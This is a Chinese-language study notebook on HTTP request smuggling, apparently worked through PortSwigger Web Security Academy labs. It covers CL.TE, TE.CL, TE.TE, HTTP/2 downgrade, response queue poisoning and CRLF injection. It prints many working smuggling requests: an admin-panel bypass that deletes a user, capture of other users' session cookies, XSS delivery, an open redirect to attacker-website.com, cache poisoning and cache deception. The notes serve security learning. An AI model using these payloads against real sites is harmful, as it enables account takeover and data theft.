http请求走私学习记录(未完-持续学习中)

学习的文章:高级漏洞篇之HTTP请求走私专题

前置知识点

Pipeline

请求管线化是一种优化机制, 目的是 减少请求的等待延迟(latency)

在传统的 HTTP/1.0 或默认模式下:

  1. 客户端发送一个请求(例如 GET /a.png)
  2. 等待服务器响应完毕(收到整个响应数据)
  3. 才发送下一个请求(例如 GET /b.png)

这样就形成了“请求-等待-响应-再请求”的往返模式。

Client -> Server:
  GET /a.png HTTP/1.1
  GET /b.png HTTP/1.1
  GET /c.png HTTP/1.1

Server -> Client:
  响应 a.png
  响应 b.png
  响应 c.png

Keep-Alive

1️⃣📦 没有 Keep-Alive(HTTP/1.0 默认行为):

在早期的 HTTP/1.0 协议中,
每个请求都会 新建一个 TCP 连接,然后马上关闭:

[请求 1]  TCP连接 -> 发送请求 -> 收到响应 -> 关闭连接
[请求 2]  TCP连接 -> 发送请求 -> 收到响应 -> 关闭连接

2️⃣🚀 启用 Keep-Alive(HTTP/1.1 默认开启)

HTTP/1.1 默认启用了持久连接,也就是 Keep-Alive。
这样可以让多个请求共用一个 TCP 连接:

TCP连接建立(一次)
↓
请求 1 -> 响应 1
请求 2 -> 响应 2
请求 3 -> 响应 3
↓
TCP连接关闭(一次)

正常的http1.1的连接如下图
image-20251102162958819

黑客通过http请求走私的漏洞做的操作,通过前后端对数据包识别的差异,也就是让前端不认为这是个请求,到后端之后又认为这是一个请求,从而绕过前端的限制,祸害后端
image-20251102163012709


Content-Length头以字节为单位指定消息正文的长度

tips: \r\n算两个欧

POST /zxc HTTP/1.1\r\n
Host: z3xc.com\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 5\r\n
\r\n
zxc\r\n

Transfer-Encoding头一般指定邮件正文使用分块编码
tips: 注意一定要空一行开始,然后3是指后面的zxc的长度,而且是十六进制的欧,0表示结束,注意要加上\r\n\r\n

POST /zxc HTTP/1.1\r\n
Host: zxc.com\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Transfer-Encoding: chunked\r\n
\r\n
3\r\n
zxc\r\n
0\r\n
\r\n

CL.TE

在这里,前端服务器使用Content-Length标头,后端服务器使用Transfer-Encoding标头。

这里实验的要求是GPOST请求,那就改成POST的请求
首先关掉Content-Length,不然burp会自动算好长度改进去
image-20251105213408263
然后改为HTTP1的请求,不然HTTP2是另外的请求逻辑,这么修改无效
image
怎么计算的:0是1个,0后面的\r\n算2个,接着空行的\r\n算2个,G算1个,加起来就是6
image-20251105213514050
这里Content-Length是6,算到G

Transfer-Encoding的chunked表示分块接收,第一行是后面的数据的长度,这里是0,就代表结束

G就没有算在这个包中,算成下一个包未收完全的数据,再发一个包
image-20251105213934483
image-20251105213947255

TE.CL

在这里,前端服务器使用Transfer-Encoding标头,后端服务器使用Content-Length标头。

依旧是要求GPOST
image
前端使用TE检查,读到5C

image
然后0结束

到后端使用CL检查,读到5c\r就结束了,剩下的算作下一个请求,然后再发正常一个包,接着第一次发送中的第二个请求响应

同样的,其实直接发我们构造好的包,然后再发送一次正常的HTTP1.1的请求,效果是一样的
image

TE.TE

在这里,前端和后端服务器都支持 Transfer-Encoding 标头,有无穷无尽的方法可以混淆 Transfer-Encoding 标头

Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[space]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

image
这里我遇到一个问题就是

Content-Length: 2这里
在学习的时候有所误解,搞清楚之后,就是CL的计算失误了,这里烧算了一个,所以C也留到下一个请求之中
image
这里就是都漏算了,5c都留到下一个请求之中
image
长度会有影响,这应该是前端用Transfer-Encoding: zxc进行判断,我们将TE故意写错,诱导后端使用CL进行检测,后端通过Content-Length判断第一部分的包的长度,如果为0,就把5c留给了第二部分,为1就把c留给第二部分

所以这样也行
image

如何利用HTTP请求走私漏洞

使用计时技术发现HTTP请求走私漏洞

检测HTTP请求走私漏洞通用最有效的方法是发送请求,如果存在漏洞,应用程序的响应会出现时间延迟。这种技术被Burp Scanner用于自动检测请求走私漏洞。

使用计时技术发现CL.TE漏洞

使用差异响应确认HTTP请求走私漏洞

使用差异响应确认CL.TE漏洞

发第一个包
image
发第二个正常包
image

使用差异响应确认TE.CL漏洞

image
image

注意

在尝试通过干扰其他请求来确认请求走私漏洞时,应注意以下几点:

  • “攻击”请求和“正常”请求应使用不同的网络连接发送到服务器。通过相同的连接发送这两个请求并不能证明漏洞存在。
  • “攻击”请求和“正常”请求应尽可能使用相同的URL和参数名称。这是因为许多现代应用程序根据URL和参数将前端请求路由到不同的后端服务器。使用相同的URL和参数可以增加请求被同一个后端服务器处理的机会,这对于攻击的成功是至关重要的。
  • 在测试“正常”请求以检测“攻击”请求的任何干扰时,你需要与应用程序同时接收的其他请求(包括其他用户的请求)进行竞争。你应该在“攻击”请求之后立即发送“正常”请求。如果应用程序繁忙,你可能需要进行多次尝试以确认漏洞。
  • 在某些应用程序中,前端服务器充当负载均衡的作用,并根据某种负载均衡算法将请求转发到不同的后端系统。如果你的“攻击”和“正常”请求被转发到不同的后端系统,那么攻击将会失败。这是在确认漏洞之前需要尝试多次的另一个原因。
  • 如果你的攻击成功干扰了后续请求,但这不是你发送的用于检测干扰的“正常”请求,那么这意味着你的攻击影响了另一个应用程序用户。如果继续执行测试,可能会对其他用户产生破坏性影响,你应该谨慎行事。

利用HTTP请求走私漏洞

使用HTTP请求走私绕过前端安全控制

在一些应用程序中,前端Web服务器被用来实现一些安全控制,决定是否允许处理个别请求。允许的请求被转发到后端服务器,在那里它们被视为通过了前端的控制。

例如,假设一个应用程序使用前端服务器来实现访问控制限制,只有在用户被授权访问所请求的URL时才会转发请求。然后,后端服务器不作进一步的检查就接受每个请求。在这种情况下,可以利用HTTP请求走私漏洞来绕过访问控制,通过走私请求访问受限制的URL。

实验:利用 HTTP 请求走私绕过前端安全控制,CL.TE 漏洞

题目要求

本练习涉及前端和后端服务器,前端服务器不支持分块编码。/admin 上有一个管理面板,但前端服务器阻止了对它的访问。

要解决该实验室,请将请求偷运到访问管理面板并删除用户 carlos 的后端服务器。
image
image
image
image-20251109173522837

实验室:利用 HTTP 请求走私绕过前端安全控制,TE.CL 漏洞

题目要求同上,注意chunked的结尾必须是0\r\n\r\n
image
image
image-20251109174623573

回显前端对请求重写的过程

在许多应用程序中,前端服务器在将请求转发到后端服务器之前会对请求进行一些重写,通常是添加一些额外的请求头。例如,前端服务器可能:

  • 终止TLS连接,并添加一些描述所使用的协议和加密算法的标头;
  • 添加一个包含用户IP地址的X-Forwarded-For标头;
  • 根据用户的会话token确定用户ID并添加一个标识用户的标头;
  • 添加一些对其他攻击感兴趣的敏感信息。

在某些情况下,如果你的走私请求缺少一些通常由前端服务器添加的标头,那么后端服务器可能无法以正常方式处理这些请求,导致走私请求无法产生预期效果。

通常有一个简单的方法来揭示前端服务器是如何重写请求的。为此,你需要执行以下步骤:

  • 找到一个POST请求,将一个请求参数的值反射到应用程序的响应中。
  • 对参数进行排序,以便反射的参数出现在消息正文最后的位置。
  • 将此请求走私到后端服务器,紧接着发送一个正常请求,这个请求的重写形式是你想要揭示的。

假设一个应用程序有一个反射email参数值的登录功能:

POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 28

email=wiener@normal-user.net

这会导致一个包含以下内容的响应:

<input id="email" value="wiener@normal-user.net" type="text">

在这里,你可以使用以下请求走私攻击来揭示由前端服务器执行的重写:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Transfer-Encoding: chunked

0

POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

email=POST /login HTTP/1.1
Host: vulnerable-website.com
...

前端服务器将请求重写,以包含额外的标头,然后后端服务器将处理走私的请求,并将重写的第二个请求视为email参数的值。之后,它将在第二个请求的响应中反射这个值:

<input id="email" value="POST /login HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-For: 1.3.3.7
X-Forwarded-Proto: https
X-TLS-Bits: 128
X-TLS-Cipher: ECDHE-RSA-AES128-GCM-SHA256
X-TLS-Version: TLSv1.2
x-nr-external-service: external
...

注意

由于最终的请求是被重写的,你不知道它最终会有多长。走私请求中Content-Length标头中的值将决定后端服务器认为该请求有多长。如果你将此值设置得太短,你将只收到重写请求的一部分;如果设置得太长,后端服务器将超时等待请求的完成。当然,解决方案是猜测一个比提交请求稍大的初始值,然后逐渐增加该值以获取更多信息,直到你获取到感兴趣的所有内容。

一旦揭示了前端服务器是如何重写请求的,你就可以对你的走私请求进行必要的重写,以确保后端服务器以预期的方式处理它们。

题目要求

本练习涉及前端和后端服务器,前端服务器不支持分块编码。

/admin 有一个管理面板,但只有 IP 地址为 127.0.0.1 的人才能访问。前端服务器向包含其 IP 地址的传入请求添加 HTTP 标头。它类似于 X-Forwarded-For 标头,但名称不同。

若要解决该实验室问题,请将请求偷运到后端服务器,该请求会显示前端服务器添加的标头。然后将包含添加标头的请求偷运到后端服务器,访问管理面板,并删除用户 carlos
image

image
image
image
image-20251109191634269

绕过客户端认证

作为TLS握手的一部分,服务器通过提供一个证书向客户端(通常是浏览器)验证自己。这个证书包含了它们的“公用名”(CN),这应该与它们注册的主机名相匹配。然后,客户端可以使用此信息来验证它们是在与预期域名的合法服务器进行通信。

有些网站更进一步,实现了一种双向TLS认证,其中客户端也必须向服务器提供证书。在这种情况下,客户端的CN通常是用户名或类似的东西,例如,它可以在后端应用程序逻辑中作为访问控制机制的一部分使用。

负责认证客户端的组件通常通过一个或多个非标准HTTP标头将证书中的相关详细信息传递给应用程序或后端服务器。例如,前端服务器有时会在传入请求中附加一个包含客户端CN的标头:

GET /admin HTTP/1.1
Host: normal-website.com
X-SSL-CLIENT-CN: carlos

由于这些标头应该完全对用户隐藏,所以它们通常会被后端服务器隐式信任。假设你能够发送正确的标头和值,这可能使你能够绕过访问控制。

实际上,由于前端服务器在标头已存在时倾向于覆盖这些标头,所以这种行为通常无法利用。然而,对于被走私的请求,它们完全隐藏在前端之后,因此它们包含的任何标头都会被原样发送到后端。

POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: x-www-form-urlencoded
Content-Length: 64
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
X-SSL-CLIENT-CN: administrator
Foo: x

捕获其他用户的请求

如果应用程序包含任何一种允许你存储并随后检索文本数据的功能,你就有可能使用此功能来捕获其他用户请求的内容。这可能包括会话token或其他由用户提交的敏感数据。适合作为此攻击载体的功能包括评论、电子邮件、个人资料描述、网名等。

要执行攻击,你需要走私一个将数据提交到存储功能的请求,其中包含要存储的数据的参数位于请求的最后。例如,假设一个应用程序使用以下请求来提交博客文章评论,该评论将被存储并显示在博客上:

POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 154
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&comment=My+comment&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net

现在考虑一下,如果你使用过长的Content-Length标头和位于请求末尾的comment参数走私一个等效的请求,会发生什么:

GET / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 330

0

POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=

走私请求的Content-Length标头表明请求正文将有400字节长,但我们只发送了144字节。在这种情况下,后端服务器将等待剩余的256字节,然后再发出响应,或者如果这些字节没有足够快到达,则发出超时。因此,当其他请求通过相同的连接被发送到后端服务器时,前256字节实际上将被附加到走私的请求中,如下所示:

POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=GET / HTTP/1.1
Host: vulnerable-website.com
Cookie: session=jJNLJs2RKpbg9EQ7iWrcfzwaTvMw81Rj
...

由于受害者请求的开头包含在comment参数中,这将作为评论发布在博客上,使你只需访问相关帖子即可阅读它。

要捕获更多受害者的请求,只需要相应地增加走私请求的Content-Length标头的值,但请注意,这需要一定程度的尝试和错误。如果遇到超时,这可能意味着你指定的Content-Length大于受害者请求的实际长度。在这种情况下,只需减小数值,直到攻击再次奏效。

注意

这种技术的一个局限性是,它通常只能捕获到适用于走私请求的参数定界符之前的数据。对于URL编码的表单提交,这将是&字符,意味着从受害用户的请求中存储的内容将在第一个&处结束,这甚至可能出现在查询字符串中。

实验室:利用 HTTP 请求走私来捕获其他用户的请求

POST /post/comment HTTP/2
Host: z3xc.web-security-academy.net
Cookie: session=z3xc
Content-Length: 171
Cache-Control: max-age=0
Sec-Ch-Ua: "Not:A-Brand";v="24", "Chromium";v="134"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Origin: https://0ae100e2042ab7d383f21e710011001e.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://z3xc.web-security-academy.net/post?postId=2
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

csrf=z3xc&postId=2&name=zxc&email=zxc%40zxc.com&website=https%3A%2F%2Fz3xc.web-security-academy.net%2F&comment=z3xc

image-20251109193016899

POST / HTTP/1.1
Host: z3xc.web-security-academy.net
Sec-Ch-Ua: "Not:A-Brand";v="24", "Chromium";v="134"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 318
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: z3xc.web-security-academy.net
Cookie: session=z3xc
Content-Type: application/x-www-form-urlencoded
Content-Length: 915

csrf=z3xc&postId=2&name=zxc&email=zxc%40zxc.com&website=&comment=z3xc


image
image-20251109203848903

使用HTTP请求走私来利用反射型XSS

如果应用程序容易受到HTTP请求走私的攻击,同时还包含反射型XSS,你可以使用一个请求走私攻击来危害应用程序的其他用户。这种方法比正常利用反射型XSS的方法效果更好,原因有两点:

  • 无需与受害用户互动。你不需要为他们提供一个URL并等待他们访问。你只需走私一个包含XSS payload的请求,下一个被后端服务器处理的用户请求就会受到攻击。
  • 可以用于在正常反射型XSS攻击中,无法轻易控制的请求部分中利用XSS行为,例如HTTP请求标头。

例如,假设一个应用程序在User-Agent标头中存在一个反射型XSS漏洞。你可以通过以下方式在请求走私攻击中利用它:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 63
Transfer-Encoding: chunked

0

GET / HTTP/1.1
User-Agent: <script>alert(1)</script>
Foo: X

下一个用户的请求将被附加到被走私的请求中,他们将在响应中收到反射型XSS payload。
image

POST / HTTP/1.1
Host: z3xc.web-security-academy.net
Cookie: session=z3xc
Sec-Ch-Ua: "Not:A-Brand";v="24", "Chromium";v="134"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 74
Transfer-Encoding: chunked

0

GET /post?postId=4 HTTP/1.1
User-Agent: "/><script>alert(1)</script>


image-20251109205053505
image-20251109205207375

使用HTTP请求走私来利用反射型XSS

如果应用程序容易受到HTTP请求走私的攻击,同时还包含反射型XSS,你可以使用一个请求走私攻击来危害应用程序的其他用户。这种方法比正常利用反射型XSS的方法效果更好,原因有两点:

  • 无需与受害用户互动。你不需要为他们提供一个URL并等待他们访问。你只需走私一个包含XSS payload的请求,下一个被后端服务器处理的用户请求就会受到攻击。
  • 可以用于在正常反射型XSS攻击中,无法轻易控制的请求部分中利用XSS行为,例如HTTP请求标头。

例如,假设一个应用程序在User-Agent标头中存在一个反射型XSS漏洞。你可以通过以下方式在请求走私攻击中利用它:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 63
Transfer-Encoding: chunked

0

GET / HTTP/1.1
User-Agent: <script>alert(1)</script>
Foo: X

下一个用户的请求将被附加到被走私的请求中,他们将在响应中收到反射型XSS payload。

LAB

利用HTTP请求走私传送反射型XSS

使用HTTP请求走私将站内重定向变为开放重定向

许多应用程序会执行站内重定向,从一个URL重定向到另一个URL,并将请求的Host标头中的主机名放入重定向URL中。一个例子是Apache和IIS Web服务器的默认行为,对一个没有尾部斜杠的目录的请求会被重定向到包含尾部斜杠的相同目录:

GET /home HTTP/1.1
Host: normal-website.com

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

这种行为通常被认为是无害的,但是在请求走私攻击中可以利用它将其他用户重定向到一个外部域。例如:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

走私的请求将触发重定向到攻击者的网站,这将影响到下一个由后端服务器处理的用户请求。例如:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

在这里,用户的请求是一个JavaScript文件,该文件由网站上的页面导入。攻击者可以通过在响应中返回他们自己的JavaScript来完全攻击受害用户。

将根相对重定向变为开放重定向

在某些情况下,你可能会遇到服务器级的重定向,例如,使用路径来构造Location标头的根相对的URL:

GET /example HTTP/1.1
Host: normal-website.com

HTTP/1.1 301 Moved Permanently
Location: /example/

如果服务器允许你在路径中使用协议相对的URL,这仍有可能被用于开放重定向:

GET //attacker-website.com/example HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 301 Moved Permanently
Location: //attacker-website.com/example/

使用HTTP请求走私来执行Web缓存投毒

在前述攻击的一个变种中,可能利用HTTP请求走私来执行Web缓存投毒攻击。如果前端基础设施的任何部分对内容进行了缓存(通常出于性能原因),那么就有可能使用站外重定向响应来投毒缓存。这将使攻击持久化,影响随后请求受影响URL的任何用户。

在这个变种中,攻击者将以下所有内容发送到前端服务器:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 59
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /static/include.js HTTP/1.1
Host: vulnerable-website.com

走私的请求到达后端服务器,后端服务器像以前一样回应站外重定向。前端服务器将此响应缓存到其认为是第二个请求中的URL,即/static/include.js

GET /static/include.js HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

从这一点开始,当其他用户请求此URL时,他们会收到重定向到攻击者的网站。

利用HTTP请求走私来执行Web缓存投毒

使用HTTP请求走私来执行Web缓存欺骗

在另一种攻击变种中,你可以利用HTTP请求走私来执行Web缓存欺骗。这与Web缓存投毒攻击的工作方式相似,但目的不同。

Web缓存投毒和Web缓存欺骗之间有什么区别?

  • Web缓存投毒中,攻击者使应用程序将某些恶意内容存储在缓存中,这些内容从缓存中被提供给其他应用程序用户。
  • Web缓存欺骗中,攻击者使应用程序将属于另一个用户的敏感内容存储在缓存中,然后攻击者从缓存中检索这些内容。

在此变种中,攻击者走私一个请求,返回一些敏感的用户特定内容。例如:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 43
Transfer-Encoding: chunked

0

GET /private/messages HTTP/1.1
Foo: X

另一个用户转发到后端服务器的下一个请求将被附加到走私的请求中,包括会话cookie和其他标头。例如:

GET /private/messages HTTP/1.1
Foo: XGET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com
Cookie: sessionId=q1jn30m6mqa7nbwsa0bhmbr7ln2vmh7z
...

根据题目要求进行登录,看到API key
image
多发几次这种包,大概5,8次
image
然后到无痕模式下刷新home页面

就会发现退出登录
image
image
最后提交

高级请求走私

HTTP/2降级

由于HTTP/2相对较新,支持它的Web服务器通常仍需要与只支持HTTP/1的传统后端基础设施进行通信。因此,前端服务器将每个传入的HTTP/2请求使用HTTP/1语法重写,有效地生成其HTTP/1等价物,已成为了一种常见的做法。这个“降级”的请求随后被转发到相应的后端服务器。
image-20251111154431870
当使用HTTP/1的后端发出一个响应时,前端服务器反转这个过程,生成HTTP/2响应并返回给客户端。

这种方法可行,因为协议的每个版本从根本上只是表示相同信息的不同方式。HTTP/1消息中的每一项在HTTP/2中都有一个近似的等价物。image-20251111154517800
因此,服务器在这两种协议之间转换这些请求和响应相对简单。事实上,这就是Burp能够使用HTTP/1语法在消息编辑器中显示HTTP/2消息的原因。

HTTP/2降级非常普遍,甚至是许多流行反向代理服务的默认行为。在某些情况下,甚至没有禁用它的选项

HTTP/2降级有哪些风险?

HTTP/2降级可能会使网站面临请求走私攻击,即使HTTP/2本身在端到端使用时通常被认为是免疫的。

HTTP/2的内置长度机制意味着,当使用HTTP降级时,有可能有三种不同的方法来指定同一请求的长度,这是所有请求走私攻击的基础。image-20251111162556100

Tip

在执行某些请求走私攻击时,你可能希望将受害者请求中的标头附加到走私的前缀中。然而,在某些情况下,这些标头可能会干扰你的攻击,导致重复标头错误等。在上面的例子中,我们通过在走私的前缀中包含一个尾随参数和Content-Length标头来缓解这种影响。通过使用略大于正文的Content-Length标头,受害者的请求仍将附加到你走私的前缀上,但在标头之前将被截断。

H2.CL漏洞

HTTP/2请求不必在标头中明确指定它们的长度。在降级时,这意味着前端服务器通常会添加一个HTTP/1Content-Length头,使用HTTP/2的内置长度机制获取它的值。有趣的是,HTTP/2请求还可以包含它们自己的content-length头。
规范规定HTTP/2请求中的任何content-length头必须与使用内置机制计算的长度相匹配,但是在降级之前并不总是能得到正确验证。因此,可能会通过注入误导性的content-length头来进行走私请求。尽管前端将使用隐式HTTP/2长度来确定请求的结束位置,但HTTP/1后端必须引用从您注入的请求中派生的Content-Length头,从而导致不同步。
image-20251112222048854
然后我们发现每发送两次这个请求就会收到一个404响应,这就说明后端确实会把后续请求附加到这个走私前缀后面。
image
然后我们发现如果请求GET /resources会触发到/resources/的重定向。于是我们就把指向/resources的请求替换到那个走私前缀那里,然后host任意就行:
image
image-20251112223945973
点击image-20251112224104066
image

H2.TE漏洞

分块传输编码与HTTP/2不兼容,规范建议,你尝试注入的任何transfer-encoding: chunked标头都应被剥离或完全阻止请求。如果前端服务器未能执行此操作,并随后将请求降级为支持分块编码的HTTP/1后端,这也可能导致请求走私攻击。
image-20251112225306036
如果一个网站容易受到H2.CL或H2.TE请求走私的攻击,你就可以利用这种行为,执行我们在之前的请求走私实验中介绍过的相同攻击。

隐藏的HTTP/2支持

浏览器和其他客户端(包括Burp),通常仅使用HTTP/2与那些通过ALPN在TLS握手过程中明确宣告对其支持的服务器进行通信。

由于配置错误,某些服务器支持HTTP/2但未正确声明。在这种情况下,服务器似乎仅支持HTTP/1.1,因为客户端将其作为后备选项默认使用。因此,测试人员可能会忽略可行的HTTP/2攻击面并错过协议级问题,例如我们上面介绍过的基于HTTP/2降级的请求走私示例。

要强制Burp Repeater使用HTTP/2,以便你可以手动测试此配置错误:

  1. Settings对话框中,转到Tools > Repeater
  2. Connections下,启用Allow HTTP/2 ALPN override选项。
  3. 在Repeater中,转到Inspector面板并展开Request attributes部分。
  4. 使用开关将Protocol设置为HTTP/2。Burp现在将使用HTTP/2发送此选项卡上的所有请求,无论服务器是否宣告支持该协议。

注意

如果你使用的是Burp Suite Professional,Burp Scanner会自动检测隐藏的HTTP/2支持实例。

响应队列投毒

响应队列投毒是一种强大的请求走私攻击,使你可以窃取打算给其他用户的任意响应,可能危及他们的帐户甚至整个站点。

响应队列投毒是一种强大的请求走私攻击形式,它会导致前端服务器将来自后端的响应映射到错误的请求。在实际中,这意味着同一前端/后端连接的所有用户都将持续接收到本为其他人提供的响应。

这是通过走私一个完整的请求实现的,从而在前端服务器仅期望一个响应时,从后端引发两个响应。

响应队列投毒的影响是什么?

响应队列投毒的影响通常是灾难性的。一旦队列被投毒,攻击者只需发出任意后续请求,即可捕获其他用户的响应。这些响应可能包含敏感的个人或商业数据,以及会话token等,这实际上赋予了攻击者对受害者账户的完全访问权。

响应队列投毒还会造成重大的附带损害,对通过同一TCP连接发送到后端的任何用户的站点实际上都会破坏。当尝试正常浏览站点时,用户将收到来自服务器看似随机的响应,这将使大多数功能无法正常工作。

如何构造一个响应队列投毒攻击

要进行一个成功的响应队列投毒攻击,必须满足以下条件:

  • 前端服务器和后端服务器之间的TCP连接被重复用于多个请求/响应周期
  • 攻击者能够成功地走私一个完整的、独立的请求,该请求从后端服务器接收到其自己独特的响应。
  • 攻击不会导致任何服务器关闭TCP连接。当服务器收到无效请求时,它们通常会关闭传入连接,因为它们无法确定请求应该在哪里结束。

了解请求走私的后果

请求走私攻击通常涉及走私部分请求,服务器将其作为前缀添加到连接上的下一个请求的开头。需要注意的是,走私请求的内容会影响初始攻击后连接发生的情况。

如果你只是走私一个带有一些标头的请求行,假设在连接上很快发送另一个请求,那么后端最终还是会看到两个完整的请求。

如果我们转而走私一个还包含正文的请求,则连接上的下一个请求将附加到走私请求的正文中。这通常会有基于明显的Content-Length截断最终请求的副作用。结果,后端有效地看到了三个请求,其中第三个"请求"只是一堆剩余的字节:
前端(CL)
image-20251113132550776
后端(TE)
image-20251113132608759
由于这些剩余字节不构成有效请求,这通常会导致错误,导致服务器关闭连接。这就不符合必须满足的条件了。

走私一个完整的请求

稍加小心,我们可以走私一个完整的请求,而不仅仅是一个前缀。只要我们同时发送两个请求,连接上的任何后续请求都将保持不变:
前端(CL)
image-20251113132647756
后端(TE)
image-20251113132704495
请注意,没有无效请求击中后端,因此连接应在攻击后保持打开状态。

让响应队列去同步

当我们走私一个完整的请求时,前端服务器仍然认为它只转发了一个请求。另一方面,后端看到两个不同的请求,并相应地发送两个响应:
image-20251113132728828
前端正确地将第一个响应映射到初始"包装器(wrapper)"请求并将其转发给客户端。由于没有其他请求等待响应,意外的第二个响应将保存在前端和后端之间连接的队列中。
当前端收到另一个请求时,它会照常将其转发给后端。但是,在发出响应时,它将发送队列中的第一个,即对走私请求的剩余响应。
然后留下来自后端的正确响应而没有匹配的请求。每次新请求通过同一连接转发到后端时,都会重复此循环。

窃取其他用户的响应

一旦响应队列中毒,攻击者可以发送任意请求来捕获另一个用户的响应。
image-20251113132745557
他们无法控制收到哪些响应,因为他们总是会收到队列中的下一个响应,即对前一个用户请求的响应。在某些情况下,这将是有限的收益。但是,使用Burp Intruder等工具,攻击者可以轻松地自动执行重新发出请求的过程。通过这样做,他们可以快速获取针对不同用户的各种响应,至少其中一些可能包含有用的数据。
只要前端/后端连接保持打开状态,攻击者就可以继续窃取这样的响应。关闭连接的确切时间因服务器而异,但常见的默认设置是在处理100个请求后终止连接。在当前连接关闭后重新连接新连接也很简单。
为了更容易区分窃取的响应和对我们自己的请求的响应,可以尝试在发送的两个请求中使用不存在的路径。这样一来,我们自己的请求应该始终如一地收到404响应。
这类攻击其实通过经典的HTTP/1请求走私和HTTP/2降级攻击都可以实现。

配套靶场:通过H2.TE请求走私的响应队列投毒

题目说靶场存在前端服务器从HTTP/2降级的走私请求漏洞。目标还是利用这个漏洞删除carlos这个用户。管理员用户大概15秒登录一次系统。我们先构造一个简单的基于H2.TE的请求走私前缀:
image
image
image
image

通过CRLF注入进行请求走私

即使网站采取措施防止基本的H2.CL或H2.TE攻击,例如验证content-length或剥离任何transfer-encoding标头,HTTP/2的二进制格式使得一些新颖的方式绕过这类前端措施。

在HTTP/1中,有时可以利用服务器处理独立换行()符的差异来走私禁止的标头。如果后端将其视为分隔符,但前端服务器不这样处理,一些前端服务器可能根本无法检测到第二个标头。

Foo: bar\nTransfer-Encoding: chunked

由于所有的HTTP/1服务器都认为这个序列终止了标头,所以这种差异在处理完整的CRLF(\r)序列时并不存在。

